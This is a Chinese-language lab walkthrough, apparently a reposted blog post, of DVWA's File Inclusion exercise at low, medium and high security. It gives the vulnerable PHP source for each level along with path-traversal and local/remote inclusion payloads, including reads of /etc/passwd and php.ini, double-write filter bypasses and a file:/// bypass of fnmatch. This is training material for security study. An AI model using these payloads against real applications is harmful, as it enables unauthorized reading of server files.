7.File Inclusion(Low——Medium——High)——DVWA(附图)

本文阅读 3 分钟
首页 代码,C/C#/C++ 正文

1.上源码: File Inclusion Source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

//由以上代码可知,传参的变量是page,格式为?page=xxxx
无任何过滤:
1.可以绝对路径
2.可以相对路径
3.可以远程

2.攻击演示: 本地:

1.相对路径:?page=file1.php                        //包含file1.php文件
?page=/var/www/html/dvwa/vulnerabilities/fi/file1.php        //这个才是真正的绝对路径

img

2.相对路径:?file=file2.php                        //包含file2.php文件

img

3.相对路径:?page=file3.php                        //包含file3.php文件
4.绝对路径:?page=/etc/passwd                    //包含用户信息文件

img

5.绝对路径:?page=/etc/shells                    //包含shells文件

img

6.绝对路径:?page=/var/www/html/dvwa/php.ini        //包含php.ini文件

img

7.相对路径:?page=../../../dvwa/php.ini                //相对路径
8.相对路径:?page=./../../../dvwa/php.ini            //相对路径
?page=/var/www/html/dvwa/php.ini                    //绝对路径

img

远程:

1.    ?page=/var/www/html/fi/f1.txt                //本地包含f1.txt文件
2.    ?page=http://127.0.0.1/fi/f1.txt            //远程包含f1.txt文件    (演示)
①在/var/www/html/目录下(也就是dvwa的根目录下)建立一个fi目录,并且在其下面创建一个f1.txt的文本文件    
②为了演示远程文件包含,我们在这个个服务器上建立另一个站点fi,在fi下创建一个被包含的文本文件
③.注意:
allow_url_fopen = On
allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

img img

1.上源码: Medium File Inclusion Source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

由源码可知,
①http://和https://被替换为空格(远程过滤)
②../和..\被替换为空格(相对路径被过滤)

2.攻击演示: 本地:

1.绝对路径:?page=/etc/passwd                        //没有被过滤

img

2.绝对路径:?page=/etc/shells                        //没有被过滤

img

3.绝对路径:?page=/var/www/html/dvwa/php.ini            //没有被过滤

img

4.相对路径:?page=../../../dvwa/php.ini                //被过滤

img

5.相对路径绕过:?page=..././..././..././dvwa/php.ini        //双写绕过
//也就是在每个../前面添加一个. 以及后面添加一个./

img 远程:

1.远程文件包含:?page=http://127.0.0.1/fi/f1.txt        //被过滤

img

2.远程双写绕过:?page=hhttp://ttp://127.0.0.1/fi/f1.txt    //双写绕过

img

1.上源码: High File Inclusion Source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 


如上源码所示:
1.匹配file协议,
2.同时匹配include.php即可。

1.绝对被过滤
2.相对被过滤
3.远程被过滤
4.只有使用file协议和include.php

2.攻击演示: 本地:

1.?page=..././..././..././dvwa/php.ini            //被过滤

img

2.使用file协议匹配它,从而绕过fnmatch函数:?page=file:///var/www/html/dvwa/php.ini    
//成功绕过   
//必须allow_url_fopen和allow_url_include置为on

img

远程:

1.?page=hthttp://tp://127.0.0.1/fit/f1.txt            //被过滤

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/103027802
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复